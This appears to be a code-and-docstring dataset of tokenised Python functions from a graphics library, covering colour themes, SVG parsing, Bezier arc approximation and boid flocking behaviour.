{"signature": "def __add__(self, colorrange):", "body": "<EOL>if isinstance(colorrange, Color):<EOL><INDENT>colorrange = ColorList(colorrange)<EOL><DEDENT>if isinstance(colorrange, ColorList)and not isinstance(colorrange, ColorRange):<EOL><INDENT>colorrange = ColorRange([(clr.h, clr.h) for clr in colorrange], [], [])<EOL><DEDENT>hsba = [[], [], [], []]<EOL>for r in [self, colorrange]:<EOL><INDENT>for i in _range(<NUM_LIT:4>):<EOL><INDENT>v = [r.h, r.s, r.b, r.a][i]<EOL>if isinstance(v, _list):<EOL><INDENT>hsba[i].extend(v)<EOL><DEDENT>elif isinstance(v, tuple):<EOL><INDENT>hsba[i].append(v)<EOL><DEDENT>else:<EOL><INDENT>hsba[i].append((v, v))<EOL><DEDENT><DEDENT><DEDENT>r = ColorRange(*hsba)<EOL>return r<EOL>", "docstring": "Combines two ColorRange objects into one.\n\nFor example, if you merge a dark green range and a light red range,\nyou get a range returning dark and light variations of green and red.", "id": "f11564:c5:m9"}
{"signature": "def __init__(self, name=\"<STR_LIT>\", ranges=[], top=<NUM_LIT:5>, cache=DEFAULT_CACHE, blue=\"<STR_LIT>\", guess=False, length=<NUM_LIT:100>):", "body": "self.name = name<EOL>self.ranges = []<EOL>self.cache = cache<EOL>self.top = top<EOL>self.tags = []<EOL>self.blue = blue<EOL>self.guess = False<EOL>self.length = <NUM_LIT:100><EOL>self.group_swatches = False<EOL>path = os.path.join(self.cache, self.name + \"<STR_LIT>\")<EOL>if os.path.exists(path):<EOL><INDENT>self._load(self.top, self.blue)<EOL><DEDENT>elif name and zipfile.is_zipfile(os.path.join(self.cache + '<STR_LIT>')):<EOL><INDENT>archive = self.cache + '<STR_LIT>'<EOL>zf = zipfile.ZipFile(archive, '<STR_LIT:r>')<EOL>zpath = os.path.join(os.path.basename(self.cache), self.name + \"<STR_LIT>\")<EOL>try:<EOL><INDENT>zi = zf.getinfo(zpath)<EOL>self.cache = zi<EOL>self._load(self.top, self.blue, archive=zf, member=zi.filename)<EOL><DEDENT>except KeyError:<EOL><INDENT>for fn in zf.namelist():<EOL><INDENT>if os.path.basename(fn) == self.name + '<STR_LIT>':<EOL><INDENT>zi = zf.getinfo(fn)<EOL>self.cache = zi<EOL>self._load(self.top, self.blue, archive=zf, member=zi.filename)<EOL>break<EOL><DEDENT><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>a = aggregated(self.cache)<EOL>for key in a:<EOL><INDENT>if self.name != \"<STR_LIT>\" and self.name in a[key]:<EOL><INDENT>self.cache = os.path.join(self.cache, key)<EOL>self._load(self.top, self.blue)<EOL>self.tags.append(key.replace(\"<STR_LIT:_>\", \"<STR_LIT:U+0020>\"))<EOL>self.group_swatches = True<EOL>break<EOL><DEDENT><DEDENT><DEDENT>if len(ranges) > <NUM_LIT:0>:<EOL><INDENT>self.ranges = ranges<EOL><DEDENT>if len(self.ranges) == <NUM_LIT:0> and guess:<EOL><INDENT>a = aggregated(self.cache)<EOL>for key in a:<EOL><INDENT>m = difflib.get_close_matches(self.name, a[key], cutoff=<NUM_LIT>)<EOL>if len(m) > <NUM_LIT:0>:<EOL><INDENT>self.name = m[<NUM_LIT:0>]<EOL>self.cache = os.path.join(self.cache, key)<EOL>self._load(top, blue)<EOL>self.tags.append(key.replace(\"<STR_LIT:_>\", \"<STR_LIT:U+0020>\"))<EOL>self.group_swatches = True<EOL>self.guess = True<EOL>break<EOL><DEDENT><DEDENT><DEDENT>if self.name != \"<STR_LIT>\" and len(self.ranges) == <NUM_LIT:0>:<EOL><INDENT>raise ColorThemeNotFound<EOL><DEDENT>", "docstring": "A set of weighted ranges linked to colors.\n\nA ColorTheme is a set of allowed colors (e.g. red, black)\nand ranges (e.g. dark, intense) for these colors.\nThese are supplied as lists of (color, range, weight) tuples.\nRanges with a greater weight will occur more in the combined range.\n\nA ColorTheme is expected to have a name,\nso it can be stored and retrieved in the XML cache.\n\nThe blue parameter denotes a color correction.\nSince most web aggregated results will yield \"blue\" instead of \"azure\" or \"cyan\",\nwe may never see these colors (e.g. azure beach will not propagate).\nSo instead of true blue we pass \"dodgerblue\", which will yield more all-round shades of blue.\nTo ignore this, set blue=\"blue\".", "id": "f11564:c7:m0"}
{"signature": "def _weight_by_hue(self):", "body": "grouped = {}<EOL>weights = []<EOL>for clr, rng, weight in self.ranges:<EOL><INDENT>h = clr.nearest_hue(primary=False)<EOL>if grouped.has_key(h):<EOL><INDENT>ranges, total_weight = grouped[h]<EOL>ranges.append((clr, rng, weight))<EOL>total_weight += weight<EOL>grouped[h] = (ranges, total_weight)<EOL><DEDENT>else:<EOL><INDENT>grouped[h] = ([(clr, rng, weight)], weight)<EOL><DEDENT><DEDENT>s = <NUM_LIT:1.0> * sum([w for r, w in grouped.values()])<EOL>grouped = [(grouped[h][<NUM_LIT:1>], grouped[h][<NUM_LIT:1>] / s, h, grouped[h][<NUM_LIT:0>]) for h in grouped]<EOL>grouped.sort()<EOL>grouped.reverse()<EOL>return grouped<EOL>", "docstring": "Returns a list of (hue, ranges, total weight, normalized total weight)-tuples.\n\nColorTheme is made up out of (color, range, weight) tuples.\nFor consistency with XML-output in the old Prism format\n(i.e. <color>s made up of <shade>s) we need a group\nweight per different hue.\n\nThe same is true for the swatch() draw method.\nHues are grouped as a single unit (e.g. dark red, intense red, weak red)\nafter which the dimensions (rows/columns) is determined.", "id": "f11564:c7:m3"}
{"signature": "def _xml(self):", "body": "grouped = self._weight_by_hue()<EOL>xml = \"<STR_LIT>\" + self.name + \"<STR_LIT>\" + \"<STR_LIT:U+002CU+0020>\".join(self.tags) + \"<STR_LIT>\"<EOL>for total_weight, normalized_weight, hue, ranges in grouped:<EOL><INDENT>if hue == self.blue: hue = \"<STR_LIT>\"<EOL>clr = color(hue)<EOL>xml += \"<STR_LIT>\" + clr.name + \"<STR_LIT>\" + str(normalized_weight) + \"<STR_LIT>\"<EOL>xml += \"<STR_LIT>\" + str(clr.r) + \"<STR_LIT>\" + str(clr.g) + \"<STR_LIT>\"<EOL>xml += \"<STR_LIT>\" + str(clr.b) + \"<STR_LIT>\" + str(clr.a) + \"<STR_LIT>\"<EOL>for clr, rng, wgt in ranges:<EOL><INDENT>xml += \"<STR_LIT>\" + str(rng) + \"<STR_LIT>\" + str(wgt / total_weight) + \"<STR_LIT>\"<EOL><DEDENT>xml = xml.rstrip(\"<STR_LIT:U+0020>\") + \"<STR_LIT>\"<EOL><DEDENT>xml += \"<STR_LIT>\"<EOL>return xml<EOL>", "docstring": "Returns the color information as XML.\n\nThe XML has the following structure:\n<colors query=\"\">\n    <color name=\"\" weight=\"\" />\n        <rgb r=\"\" g=\"\" b=\"\" />\n        <shade name=\"\" weight=\"\" />\n    </color>\n</colors>\n\nNotice that ranges are stored by name and retrieved in the _load()\nmethod with the shade() command - and are thus expected to be\nshades (e.g. intense, warm, ...) unless the shade() command would\nreturn any custom ranges as well. This can be done by appending custom\nranges to the shades list.", "id": "f11564:c7:m4"}
{"signature": "def _save(self):", "body": "if not os.path.exists(self.cache):<EOL><INDENT>os.makedirs(self.cache)<EOL><DEDENT>path = os.path.join(self.cache, self.name + \"<STR_LIT>\")<EOL>f = open(path, \"<STR_LIT:w>\")<EOL>f.write(self.xml)<EOL>f.close()<EOL>", "docstring": "Saves the color information in the cache as XML.", "id": "f11564:c7:m5"}
{"signature": "def _load(self, top=<NUM_LIT:5>, blue=\"<STR_LIT>\", archive=None, member=None):", "body": "if archive is None:<EOL><INDENT>path = os.path.join(self.cache, self.name + \"<STR_LIT>\")<EOL>xml = open(path).read()<EOL><DEDENT>else:<EOL><INDENT>assert member is not None<EOL>xml = archive.read(member)<EOL><DEDENT>dom = parseString(xml).documentElement<EOL>attr = lambda e, a: e.attributes[a].value<EOL>for e in dom.getElementsByTagName(\"<STR_LIT>\")[:top]:<EOL><INDENT>w = float(attr(e, \"<STR_LIT>\"))<EOL>try:<EOL><INDENT>rgb = e.getElementsByTagName(\"<STR_LIT>\")[<NUM_LIT:0>]<EOL>clr = color(<EOL>float(attr(rgb, \"<STR_LIT:r>\")),<EOL>float(attr(rgb, \"<STR_LIT:g>\")),<EOL>float(attr(rgb, \"<STR_LIT:b>\")),<EOL>float(attr(rgb, \"<STR_LIT:a>\")),<EOL>mode=\"<STR_LIT>\"<EOL>)<EOL>try:<EOL><INDENT>clr.name = attr(e, \"<STR_LIT:name>\")<EOL>if clr.name == \"<STR_LIT>\": clr = color(blue)<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>except:<EOL><INDENT>name = attr(e, \"<STR_LIT:name>\")<EOL>if name == \"<STR_LIT>\": name = blue<EOL>clr = color(name)<EOL><DEDENT>for s in e.getElementsByTagName(\"<STR_LIT>\"):<EOL><INDENT>self.ranges.append((<EOL>clr,<EOL>shade(attr(s, \"<STR_LIT:name>\")),<EOL>w * float(attr(s, \"<STR_LIT>\"))<EOL>))<EOL><DEDENT><DEDENT>", "docstring": "Loads a theme from aggregated web data.\n\nThe data must be old-style Prism XML: <color>s consisting of <shade>s.\nColors named \"blue\" will be overridden with the blue parameter.\n\narchive can be a file like object (e.g. a ZipFile)\nand will be used along with 'member' if specified.", "id": "f11564:c7:m6"}
{"signature": "def color(self, d=<NUM_LIT>):", "body": "s = sum([w for clr, rng, w in self.ranges])<EOL>r = random()<EOL>for clr, rng, weight in self.ranges:<EOL><INDENT>if weight / s >= r: break<EOL>r -= weight / s<EOL><DEDENT>return rng(clr, d)<EOL>", "docstring": "Returns a random color within the theme.\n\nFetches a random range (the weight is taken into account,\nso ranges with a bigger weight have a higher chance of propagating)\nand hues it with the associated color.", "id": "f11564:c7:m7"}
{"signature": "def colors(self, n=<NUM_LIT:10>, d=<NUM_LIT>):", "body": "s = sum([w for clr, rng, w in self.ranges])<EOL>colors = colorlist()<EOL>for i in _range(n):<EOL><INDENT>r = random()<EOL>for clr, rng, weight in self.ranges:<EOL><INDENT>if weight / s >= r: break<EOL>r -= weight / s<EOL><DEDENT>colors.append(rng(clr, d))<EOL><DEDENT>return colors<EOL>", "docstring": "Returns a number of random colors from the theme.", "id": "f11564:c7:m8"}
{"signature": "def recombine(self, other, d=<NUM_LIT>):", "body": "a, b = self, other<EOL>d1 = max(<NUM_LIT:0>, min(d, <NUM_LIT:1>))<EOL>d2 = d1<EOL>c = ColorTheme(<EOL>name=a.name[:int(len(a.name) * d1)] +<EOL>b.name[int(len(b.name) * d2):],<EOL>ranges=a.ranges[:int(len(a.ranges) * d1)] +<EOL>b.ranges[int(len(b.ranges) * d2):],<EOL>top=a.top,<EOL>cache=os.path.join(DEFAULT_CACHE, \"<STR_LIT>\"),<EOL>blue=a.blue,<EOL>length=a.length * d1 + b.length * d2<EOL>)<EOL>c.tags = a.tags[:int(len(a.tags) * d1)]<EOL>c.tags += b.tags[int(len(b.tags) * d2):]<EOL>return c<EOL>", "docstring": "Genetic recombination of two themes using cut and splice technique.", "id": "f11564:c7:m20"}
{"signature": "def swatch(self, x, y, w=<NUM_LIT>, h=<NUM_LIT>, padding=<NUM_LIT:4>, roundness=<NUM_LIT:0>, n=<NUM_LIT:12>, d=<NUM_LIT>, grouped=None):", "body": "if grouped is None:  <EOL><INDENT>grouped = self.group_swatches<EOL><DEDENT>if not grouped:<EOL><INDENT>s = sum([wgt for clr, rng, wgt in self.ranges])<EOL>for clr, rng, wgt in self.ranges:<EOL><INDENT>cols = max(<NUM_LIT:1>, int(wgt / s * n))<EOL>for i in _range(cols):<EOL><INDENT>rng.colors(clr, n=n, d=d).swatch(x, y, w, h, padding=padding, roundness=roundness)<EOL>x += w + padding<EOL><DEDENT><DEDENT>return x, y + n * (h + padding)<EOL><DEDENT>grouped = self._weight_by_hue()<EOL>for total_weight, normalized_weight, hue, ranges in grouped:<EOL><INDENT>dy = y<EOL>rc = <NUM_LIT:0><EOL>for clr, rng, weight in ranges:<EOL><INDENT>dx = x<EOL>cols = int(normalized_weight * n)<EOL>cols = max(<NUM_LIT:1>, min(cols, n - len(grouped)))<EOL>if clr.name == \"<STR_LIT>\": rng = rng.black<EOL>if clr.name == \"<STR_LIT>\": rng = rng.white<EOL>for i in _range(cols):<EOL><INDENT>rows = int(weight / total_weight * n)<EOL>rows = max(<NUM_LIT:1>, rows)<EOL>if (clr, rng, weight) == ranges[-<NUM_LIT:1>] and rc + rows < n: rows += <NUM_LIT:1><EOL>rng.colors(clr, n=rows, d=d).swatch(dx, dy, w, h, padding=padding, roundness=roundness)<EOL>dx += w + padding<EOL><DEDENT>dy += (w + padding) * rows  <EOL>rc = rows<EOL><DEDENT>x += (w + padding) * cols + padding<EOL><DEDENT>return x, dy<EOL>", "docstring": "Draws a weighted swatch with approximately n columns and rows.\n\nWhen the grouped parameter is True, colors are grouped in blocks of the same hue\n(also see the _weight_by_hue() method).", "id": "f11564:c7:m21"}
{"signature": "def __init__(self, dx=<NUM_LIT:10>, dy=<NUM_LIT:10>, alpha=<NUM_LIT>, blur=<NUM_LIT>, clr=None):", "body": "Grob.__init__(self, _ctx)<EOL>if clr is None:<EOL><INDENT>clr = color(<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, alpha, mode=\"<STR_LIT>\")<EOL><DEDENT>self.dx = dx<EOL>self.dy = dy<EOL>self.blur = blur<EOL>self.clr = clr.copy()<EOL>self.clr.alpha = alpha<EOL>global _shadow<EOL>_shadow = self<EOL>", "docstring": "Sets the dropshadow for all onscreen elements.\n\nBoth the fill and stroke of a path get a dropshadow.\n\nTODO - Implement shadow, could work as a postprocessing effect", "id": "f11564:c8:m0"}
{"signature": "def __init__(self, path, clr1, clr2, type=\"<STR_LIT>\", dx=<NUM_LIT:0>, dy=<NUM_LIT:0>, spread=<NUM_LIT:1.0>, angle=<NUM_LIT:0>, alpha=<NUM_LIT:1.0>):", "body": "raise NotImplementedError(\"<STR_LIT>\")<EOL>self.path = path<EOL>self.path.inheritFromContext()<EOL>self.path.fillcolor = colorlist(clr1, clr2).average<EOL>self.path.fillcolor.alpha *= alpha<EOL>self.clr1 = clr1<EOL>self.clr2 = clr2<EOL>self.type = type<EOL>self.dx = dx<EOL>self.dy = dy<EOL>self.spread = spread<EOL>self.angle = angle<EOL>_ctx.canvas.append(self)<EOL>if _shadow:<EOL><INDENT>self._shadow_alpha = _shadow.clr.alpha<EOL><DEDENT>else:<EOL><INDENT>self._shadow_alpha = <NUM_LIT:0><EOL><DEDENT>", "docstring": "Fills a path with a smooth gradient between two colors.\n\nCreates a Core Image gradient and clips it to the given path.\nThe type can be radial or linear.\nThe spread is the distance between the two colors (0.0-1.0 or absolute).\nThe angle is useful for linear gradients, setting it to 90 degrees\ncreates a horizontal instead of a vertical gradient.\n\nThe gradient is in RGB color.\nIf shadows are being used, it is rendered in a clipping area\nwith a background that is the average of the two gradient colors\n(we need a fill to render a shadow).\nYou can tweak this background's opacity with the alpha parameter.", "id": "f11564:c9:m0"}
{"signature": "def parse(svg, cached=False, _copy=True):", "body": "if not cached:<EOL><INDENT>dom = parser.parseString(svg)<EOL>paths = parse_node(dom, [])<EOL><DEDENT>else:<EOL><INDENT>id = _cache.id(svg)<EOL>if not _cache.has_key(id):<EOL><INDENT>dom = parser.parseString(svg)<EOL>_cache.save(id, parse_node(dom, []))<EOL><DEDENT>paths = _cache.load(id, _copy)<EOL><DEDENT>return paths<EOL>", "docstring": "Returns cached copies unless otherwise specified.", "id": "f11566:m0"}
{"signature": "def get_attribute(element, attribute, default=<NUM_LIT:0>):", "body": "a = element.getAttribute(attribute)<EOL>if a == \"<STR_LIT>\": <EOL><INDENT>return default<EOL><DEDENT>return a<EOL>", "docstring": "Returns XML element's attribute, or default if none.", "id": "f11566:m2"}
{"signature": "def parse_node(node, paths=[], ignore=[\"<STR_LIT>\"]):", "body": "<EOL>if node.nodeType == node.ELEMENT_NODE and node.tagName in ignore: <EOL><INDENT>return []<EOL><DEDENT>if node.hasChildNodes():<EOL><INDENT>for child in node.childNodes:<EOL><INDENT>paths = parse_node(child, paths)<EOL><DEDENT><DEDENT>if node.nodeType == node.ELEMENT_NODE:<EOL><INDENT>if node.tagName == \"<STR_LIT>\":<EOL><INDENT>paths.append(parse_line(node))<EOL><DEDENT>elif node.tagName == \"<STR_LIT>\":<EOL><INDENT>paths.append(parse_rect(node))<EOL><DEDENT>elif node.tagName == \"<STR_LIT>\":<EOL><INDENT>paths.append(parse_circle(node))<EOL><DEDENT>elif node.tagName == \"<STR_LIT>\":<EOL><INDENT>paths.append(parse_oval(node))<EOL><DEDENT>elif node.tagName == \"<STR_LIT>\":<EOL><INDENT>paths.append(parse_polygon(node))<EOL><DEDENT>elif node.tagName == \"<STR_LIT>\":<EOL><INDENT>paths.append(parse_polygon(node))<EOL><DEDENT>elif node.tagName == \"<STR_LIT:path>\":<EOL><INDENT>paths.append(parse_path(node))<EOL><DEDENT>if node.tagName in (\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT:path>\"):<EOL><INDENT>paths[-<NUM_LIT:1>] = parse_transform(node, paths[-<NUM_LIT:1>])<EOL>paths[-<NUM_LIT:1>] = add_color_info(node, paths[-<NUM_LIT:1>])<EOL><DEDENT><DEDENT>return paths<EOL>", "docstring": "Recurse the node tree and find drawable tags.\n\n    Recures all the children in the node.\n    If a child is something we can draw,\n    a line, rect, oval or path,\n    parse it to a PathElement drawable with drawpath()", "id": "f11566:m3"}
{"signature": "def parse_transform(e, path):", "body": "t = get_attribute(e, \"<STR_LIT>\", default=\"<STR_LIT>\")<EOL>for mode in (\"<STR_LIT>\", \"<STR_LIT>\"):<EOL><INDENT>if t.startswith(mode):<EOL><INDENT>v = t.replace(mode, \"<STR_LIT>\").lstrip(\"<STR_LIT:(>\").rstrip(\"<STR_LIT:)>\")<EOL>v = v.replace(\"<STR_LIT:U+002CU+0020>\", \"<STR_LIT:U+002C>\").replace(\"<STR_LIT:U+0020>\", \"<STR_LIT:U+002C>\")<EOL>v = [float(x) for x in v.split(\"<STR_LIT:U+002C>\")]<EOL>from nodebox.graphics import Transform<EOL>t = Transform()            <EOL>if mode == \"<STR_LIT>\":<EOL><INDENT>t._set_matrix(v)<EOL><DEDENT>elif mode == \"<STR_LIT>\":<EOL><INDENT>t.translate(*v)<EOL><DEDENT>path = t.transformBezierPath(path)<EOL>break<EOL><DEDENT><DEDENT>e = e.parentNode<EOL>if e and e.tagName == \"<STR_LIT:g>\":<EOL><INDENT>path = parse_transform(e, path)<EOL><DEDENT>return path<EOL>", "docstring": "Transform the path according to a defined matrix.\n\n    Attempts to extract a transform=\"matrix()|translate()\" attribute.\n    Transforms the path accordingly.", "id": "f11566:m10"}
{"signature": "def add_color_info(e, path):", "body": "_ctx.colormode(RGB, <NUM_LIT:1.0>)<EOL>def _color(hex, alpha=<NUM_LIT:1.0>):<EOL><INDENT>if hex == \"<STR_LIT:none>\": return None<EOL>n = int(hex[<NUM_LIT:1>:],<NUM_LIT:16>)<EOL>r = (n>><NUM_LIT:16>)&<NUM_LIT><EOL>g = (n>><NUM_LIT:8>)&<NUM_LIT><EOL>b = n&<NUM_LIT><EOL>return _ctx.color(r/<NUM_LIT>, g/<NUM_LIT>, b/<NUM_LIT>, alpha)<EOL><DEDENT>path.fill = (<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:0>)<EOL>path.stroke = (<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:0>)<EOL>path.strokewidth = <NUM_LIT:0><EOL>alpha = get_attribute(e, \"<STR_LIT>\", default=\"<STR_LIT>\")<EOL>if alpha == \"<STR_LIT>\":<EOL><INDENT>alpha = <NUM_LIT:1.0><EOL><DEDENT>else:<EOL><INDENT>alpha = float(alpha)<EOL><DEDENT>try: path.fill = _color(get_attribute(e, \"<STR_LIT>\", default=\"<STR_LIT>\"), alpha)<EOL>except: <EOL><INDENT>pass<EOL><DEDENT>try: path.stroke = _color(get_attribute(e, \"<STR_LIT>\", default=\"<STR_LIT:none>\"), alpha)<EOL>except: <EOL><INDENT>pass<EOL><DEDENT>try: path.strokewidth = float(get_attribute(e, \"<STR_LIT>\", default=\"<STR_LIT:1>\"))<EOL>except: <EOL><INDENT>pass<EOL><DEDENT>style = get_attribute(e, \"<STR_LIT>\", default=\"<STR_LIT>\").split(\"<STR_LIT:;>\")<EOL>for s in style:<EOL><INDENT>try:<EOL><INDENT>if s.startswith(\"<STR_LIT>\"):<EOL><INDENT>path.fill = _color(s.replace(\"<STR_LIT>\", \"<STR_LIT>\"))<EOL><DEDENT>elif s.startswith(\"<STR_LIT>\"):<EOL><INDENT>path.stroke = _color(s.replace(\"<STR_LIT>\", \"<STR_LIT>\"))<EOL><DEDENT>elif s.startswith(\"<STR_LIT>\"):<EOL><INDENT>path.strokewidth = float(s.replace(\"<STR_LIT>\", \"<STR_LIT>\"))<EOL><DEDENT><DEDENT>except:<EOL><INDENT>pass    <EOL><DEDENT><DEDENT>path.closed = False<EOL>if path[<NUM_LIT:0>].x == path[len(path)-<NUM_LIT:1>].x andpath[<NUM_LIT:0>].y == path[len(path)-<NUM_LIT:1>].y: <EOL><INDENT>path.closed = True<EOL><DEDENT>for i in range(<NUM_LIT:1>,-<NUM_LIT:1>):<EOL><INDENT>if path[i].cmd == MOVETO:<EOL><INDENT>path.closed = False<EOL><DEDENT><DEDENT>return path<EOL>", "docstring": "Expand the path with color information.\n\n    Attempts to extract fill and stroke colors\n    from the element and adds it to path attributes.", "id": "f11566:m11"}
{"signature": "def bezier_arc(x1, y1, x2, y2, start_angle=<NUM_LIT:0>, extent=<NUM_LIT>):", "body": "x1,y1, x2,y2 = min(x1,x2), max(y1,y2), max(x1,x2), min(y1,y2)<EOL>if abs(extent) <= <NUM_LIT>:<EOL><INDENT>frag_angle = float(extent)<EOL>nfrag = <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>nfrag = int(ceil(abs(extent)/<NUM_LIT>))<EOL>if nfrag == <NUM_LIT:0>:<EOL><INDENT>warnings.warn('<STR_LIT>' % extent)<EOL>return []<EOL><DEDENT>frag_angle = float(extent) / nfrag<EOL><DEDENT>x_cen = (x1+x2)/<NUM_LIT><EOL>y_cen = (y1+y2)/<NUM_LIT><EOL>rx = (x2-x1)/<NUM_LIT><EOL>ry = (y2-y1)/<NUM_LIT><EOL>half_angle = radians(frag_angle) / <NUM_LIT:2><EOL>kappa = abs(<NUM_LIT> / <NUM_LIT> * (<NUM_LIT:1.> - cos(half_angle)) / sin(half_angle))<EOL>if frag_angle < <NUM_LIT:0>:<EOL><INDENT>sign = -<NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>sign = <NUM_LIT:1><EOL><DEDENT>point_list = []<EOL>for i in range(nfrag):<EOL><INDENT>theta0 = radians(start_angle + i*frag_angle)<EOL>theta1 = radians(start_angle + (i+<NUM_LIT:1>)*frag_angle)<EOL>c0 = cos(theta0)<EOL>c1 = cos(theta1)<EOL>s0 = sin(theta0)<EOL>s1 = sin(theta1)<EOL>if frag_angle > <NUM_LIT:0>:<EOL><INDENT>signed_kappa = -kappa<EOL><DEDENT>else:<EOL><INDENT>signed_kappa = kappa<EOL><DEDENT>point_list.append((x_cen + rx * c0,<EOL>y_cen - ry * s0,<EOL>x_cen + rx * (c0 + signed_kappa * s0),<EOL>y_cen - ry * (s0 - signed_kappa * c0),<EOL>x_cen + rx * (c1 - signed_kappa * s1),<EOL>y_cen - ry * (s1 + signed_kappa * c1),<EOL>x_cen + rx * c1,<EOL>y_cen - ry * s1))<EOL><DEDENT>return point_list<EOL>", "docstring": "Compute a cubic Bezier approximation of an elliptical arc.\n\n    (x1, y1) and (x2, y2) are the corners of the enclosing rectangle.\n    The coordinate system has coordinates that increase to the right and down.\n    Angles, measured in degress, start with 0 to the right (the positive X axis) \n    and increase counter-clockwise.\n    The arc extends from start_angle to start_angle+extent.\n    I.e. start_angle=0 and extent=180 yields an openside-down semi-circle.\n\n    The resulting coordinates are of the form (x1,y1, x2,y2, x3,y3, x4,y4)\n    such that the curve goes from (x1, y1) to (x4, y4) with (x2, y2) and\n    (x3, y3) as their respective Bezier control points.", "id": "f11567:m0"}
{"signature": "def angle(x1, y1, x2, y2):", "body": "sign = <NUM_LIT:1.0><EOL>usign = (x1*y2 - y1*x2)<EOL>if usign < <NUM_LIT:0>:<EOL><INDENT>sign = -<NUM_LIT:1.0><EOL><DEDENT>num = x1*x2 + y1*y2<EOL>den = hypot(x1,y1) * hypot(x2,y2)<EOL>ratio = min(max(num/den, -<NUM_LIT:1.0>), <NUM_LIT:1.0>)<EOL>return sign * degrees(acos(ratio))<EOL>", "docstring": "The angle in degrees between two vectors.", "id": "f11567:m1"}
{"signature": "def transform_from_local(xp, yp, cphi, sphi, mx, my):", "body": "x = xp * cphi - yp * sphi + mx<EOL>y = xp * sphi + yp * cphi + my<EOL>return (x,y)<EOL>", "docstring": "Transform from the local frame to absolute space.", "id": "f11567:m2"}
{"signature": "def elliptical_arc_to(x1, y1, rx, ry, phi, large_arc_flag, sweep_flag, x2, y2):", "body": "<EOL>rx = abs(rx)<EOL>ry = abs(ry)<EOL>phi = phi % <NUM_LIT><EOL>if x1==x2 and y1==y2:<EOL><INDENT>return []<EOL><DEDENT>if rx == <NUM_LIT:0> or ry == <NUM_LIT:0>:<EOL><INDENT>return [(x2,y2)]<EOL><DEDENT>rphi = radians(phi)<EOL>cphi = cos(rphi)<EOL>sphi = sin(rphi)<EOL>dx = <NUM_LIT:0.5>*(x1 - x2)<EOL>dy = <NUM_LIT:0.5>*(y1 - y2)<EOL>x1p =  cphi * dx + sphi * dy<EOL>y1p = -sphi * dx + cphi * dy<EOL>lam = (x1p/rx)**<NUM_LIT:2> + (y1p/ry)**<NUM_LIT:2><EOL>if lam > <NUM_LIT:1.0>:<EOL><INDENT>scale = sqrt(lam)<EOL>rx *= scale<EOL>ry *= scale<EOL><DEDENT>num = max((rx*ry)**<NUM_LIT:2> - (rx*y1p)**<NUM_LIT:2> - (ry*x1p)**<NUM_LIT:2>, <NUM_LIT:0.0>)<EOL>den = ((rx*y1p)**<NUM_LIT:2> + (ry*x1p)**<NUM_LIT:2>)<EOL>a = sqrt(num / den)<EOL>cxp = a * rx*y1p/ry<EOL>cyp = -a * ry*x1p/rx<EOL>if large_arc_flag == sweep_flag:<EOL><INDENT>cxp = -cxp<EOL>cyp = -cyp<EOL><DEDENT>mx = <NUM_LIT:0.5>*(x1+x2)<EOL>my = <NUM_LIT:0.5>*(y1+y2)<EOL>dx = (x1p-cxp) / rx<EOL>dy = (y1p-cyp) / ry<EOL>dx2 = (-x1p-cxp) / rx<EOL>dy2 = (-y1p-cyp) / ry<EOL>theta1 = angle(<NUM_LIT:1>,<NUM_LIT:0>,dx,dy)<EOL>dtheta = angle(dx,dy,dx2,dy2)<EOL>if not sweep_flag and dtheta > <NUM_LIT:0>:<EOL><INDENT>dtheta -= <NUM_LIT><EOL><DEDENT>elif sweep_flag and dtheta < <NUM_LIT:0>:<EOL><INDENT>dtheta += <NUM_LIT><EOL><DEDENT>p = []<EOL>control_points = bezier_arc(cxp-rx,cyp-ry,cxp+rx,cyp+ry, theta1, dtheta)<EOL>for x1p,y1p, x2p,y2p, x3p,y3p, x4p,y4p in control_points:<EOL><INDENT>p.append((<EOL>transform_from_local(x2p,y2p,cphi,sphi,mx,my) +<EOL>transform_from_local(x3p,y3p,cphi,sphi,mx,my) +<EOL>transform_from_local(x4p,y4p,cphi,sphi,mx,my)<EOL>))<EOL><DEDENT>return p<EOL>", "docstring": "An elliptical arc approximated with Bezier curves or a line segment.\nAlgorithm taken from the SVG 1.1 Implementation Notes:\nhttp://www.w3.org/TR/SVG/implnote.html#ArcImplementationNotes", "id": "f11567:m3"}
{"signature": "def cohesion(self, d=<NUM_LIT:100>):", "body": "vx = vy = vz = <NUM_LIT:0><EOL>for b in self.boids:<EOL><INDENT>if b != self:<EOL><INDENT>vx, vy, vz = vx+b.x, vy+b.y, vz+b.z<EOL><DEDENT><DEDENT>n = len(self.boids)-<NUM_LIT:1><EOL>vx, vy, vz = vx/n, vy/n, vz/n<EOL>return (vx-self.x)/d, (vy-self.y)/d, (vz-self.z)/d<EOL>", "docstring": "Boids move towards the flock's centre of mass.\n\n        The centre of mass is the average position of all boids,\n        not including itself (the \"perceived centre\").", "id": "f11568:c0:m2"}
{"signature": "def separation(self, r=<NUM_LIT:10>):", "body": "vx = vy = vz = <NUM_LIT:0><EOL>for b in self.boids:<EOL><INDENT>if b != self:<EOL><INDENT>if abs(self.x-b.x) < r: vx += (self.x-b.x)<EOL>if abs(self.y-b.y) < r: vy += (self.y-b.y)<EOL>if abs(self.z-b.z) < r: vz += (self.z-b.z)<EOL><DEDENT><DEDENT>return vx, vy, vz<EOL>", "docstring": "Boids keep a small distance from other boids.\n\n        Ensures that boids don't collide into each other,\n        in a smoothly accelerated motion.", "id": "f11568:c0:m3"}
{"signature": "def alignment(self, d=<NUM_LIT:5>):", "body": "vx = vy = vz = <NUM_LIT:0><EOL>for b in self.boids:<EOL><INDENT>if b != self:<EOL><INDENT>vx, vy, vz = vx+b.vx, vy+b.vy, vz+b.vz<EOL><DEDENT><DEDENT>n = len(self.boids)-<NUM_LIT:1><EOL>vx, vy, vz = vx/n, vy/n, vz/n<EOL>return (vx-self.vx)/d, (vy-self.vy)/d, (vz-self.vz)/d<EOL>", "docstring": "Boids match velocity with other boids.", "id": "f11568:c0:m4"}
